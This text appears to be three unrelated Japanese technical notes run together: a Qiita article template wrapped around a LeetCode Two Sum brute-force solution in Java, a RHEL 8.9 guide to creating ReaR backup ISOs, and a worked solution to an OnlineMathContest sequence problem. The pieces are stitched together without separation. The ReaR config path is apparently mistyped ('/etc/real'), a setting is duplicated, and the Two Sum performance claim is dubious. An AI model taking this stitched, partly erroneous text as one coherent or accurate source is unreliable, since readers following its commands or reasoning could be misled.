簡潔かつ分かりやすく過不足ないタイトルを考えましょう。

### 【 】(墨付き括弧)

- 【言語やサービス】
    - 例1.【Python】すぐにpytestで単体テストを実行するまでの手順
- 【言いたいこと】
    - 例1.【必見】Objectはどこに消えた？
- 【前提】
    - 例1.【個人開発】○○を○○できるサービスをリリースしました
    - 例2.【初心者向け】Reactとはそもそも何なのか説明します
- 【続き物の番号】
    - 例1.【2024年版】新入社員向け研修資料を公開します
    - 例2.【環境構築編】Windows11でPythonを実行するまで

【前提】詳しいタイトル【言語やサービス】のように、複数を併用するパターンもあります。

-->

## はじめに
<!--
何についての記事なのか、誰に向けた記事なのかを簡単に説明しましょう。
-->

### 問題の概要
<!--
読んだら何がわかるようになるのか、何ができるようになるのかを書きましょう。
-->

Input: nums = [2,7,11,15], target = 9
Output: [0,1]
配列の要素2つつかってtargetの数字を足し算で作る

## 解き方
<!--
章全体の要約や、何について書くのかをここに書きます。
記事が長い時や資料として作るときは番号を振ることをおすすめします。
章を増やすときは章から項までをコピーしてください。
-->




### とりあえずブルートフォース
<!--
記事の主要な部分です。ここに思い思いの内容を書いていってください。

画像やGIFがあると分かりやすいです。
画像があるとUIが変わったとしても読者がアタリをつけて対応しやすくなります。

コードを記載する場合は必ずコードブロックを使いましょう。
バッククオート3つで囲んでください。
```python:表示名

    print('Hello World')
    
```
-->
```
class Solution {
    public int[] twoSum(int[] nums, int target) {
        int[] result = new int[2];
        for(int rootNum = 0; rootNum < nums.length; rootNum++){
                int total = nums[rootNum];
                for(int secondNum = rootNum + 1; secondNum < nums.length; secondNum++){
                    if(total + nums[secondNum] == target){
                        result[0] = rootNum;
                        result[1] = secondNum;
                        return result;
                    }
                }
        }
        return result;
    }
}
```



#### totalいらなくない？
<!--
より詳細な内容を書いたり、事例を挙げたりするときに使います。
- 節の内容の列挙
- 節の補足事項
- 例外
-->
最初作った時つい作ったんです。
加算していったりとかあると思ったので

でも結局直接
if(total + nums[secondNum] == target)
ここに直接いれちゃえばいいじゃんって思って入れた

そしたら処理が遅くなったんです。

で気づいた
コードとしては無駄。
でもfor文のなかで毎回配列から値持ってきてるから遅いんだ！


## 参考資料
<!--

https://qiita.com

[リンク1](https://qiita.com)
-->

https://leetcode.com/problems/two-sum/description/

[リンク1](https://leetcode.com/problems/two-sum/description/)


## おわりに・まとめ
<!--
どちらかを書きます。あってもなくても良いです。
-->

コードが綺麗だから必ず良いわけではない。
RHEL8.9でRear(Relax-and-Recover)を使用してバックアップイメージをローカルに作成する

##目標
 - RHEL8でOSのバックアップリストア
 - リストアイメージはローカルディスクに出力する
 
参考）
[ReaR/UEFI: "grub-core/loader/i386/efi/linux.c:xxx can't allocate initrd" というエラーで ISO が起動に失敗する](https://access.redhat.com/ja/solutions/7042641)

##環境
 - RHEL8.9

##準備するもの
 - RHEL ISO

##必要パッケージをインストールする
```shell-session
# yum install rear grub2-efi-x64-modules
```

♯♯local.confを設定する

```shell-session
vi /etc/real/local.conf

OUTPUT=ISO
BACKUP=NETFS
OUTPUT_URL=null
BACKUP_URL="iso:///backup"
ISO_DIR="/var/tmp/rear/iso/"
BACKUP_PROG_COMPRESS_OPTIONS=( --gzip )
BACKUP_PROG_COMPRESS_SUFFIX=".gz"
BACKUP_PROG_EXCLUDE=( '/tmp/*' '/data/*' )
BACKUP_URL=iso:///backup/
USE_RESOLV_CONF="n"
USING_UEFI_BOOTLOADER=yes
BACKUP_PROG_EXCLUDE=("${BACKUP_PROG_EXCLUDE[@]}" '/media' '/var/tmp' '/var/crash')
BACKUP_PROG_OPTIONS+=( --anchored --xattrs-include='*.*' --xattrs )
AUTOEXCLUDE_MULTIPATH="n"
BOOT_OVER_SAN="y"
FIRMWARE_FILES="no"
```
##リストアイメージ用のフォルダーを作成する
```shell-session
# mkdir -p /var/tmp/rear/iso/
```

##バックアップを実行する
```shell-session
# time rear -d -v mkbackup
```
OMC231B

https://onlinemathcontest.com/contests/omc231/tasks/12888

$S_1=0$
$S_2=1$
$S_3=01$
$S_4=101$
$S_5=01101$
$S_6=10101101$
$S_7=0110110101101$
$S_8=101011010110110101101$
$S_9=0110110101101101011010110110101101$
$S_{10}=1010110101101101011010110110101101101011010110110101101$
$S_{11}=01101101011011010110101101101011011010110101101101011010110110101101101011010110110101101$

長いし、何番目が1か把握しないととっかかりも掴めなさそう。

見た感じ0が連続する所はないので、11を2に置き換えてみる。
$S_{11}'=02020102020102010202010202010201020201020102020102020102010202010201$

さらに0を消す。
$S_{11}''=2212212122122121221212212212122121$

ある$0$の後ろに何個$1$があるかを知りたいので、 $S_{11}''$の先頭からの累積和を計算する。($T_{11}$と置く。)
$T_{11}=\lbrace2,4,5,7,9,10,12,13,15,17,18,20,22,23,25,26,28,30,31,33,34,36,38,39,41,43,44,46,47,49,51,52,54,55\rbrace$

$T_{11}$の$i$番目の要素を$T_{11}(i)$と置くと、解は
$\Sigma_iT_{11}(i)=979$。(不正解)

問題を読み違えていた。
$(i,j)=(0,1)$の組み合えせではなく、$(i,j)=(1,0)$の組み合わせなので、
$1$で終わっているので最後の$55$を足してはいけなかった。
$979-55=924$。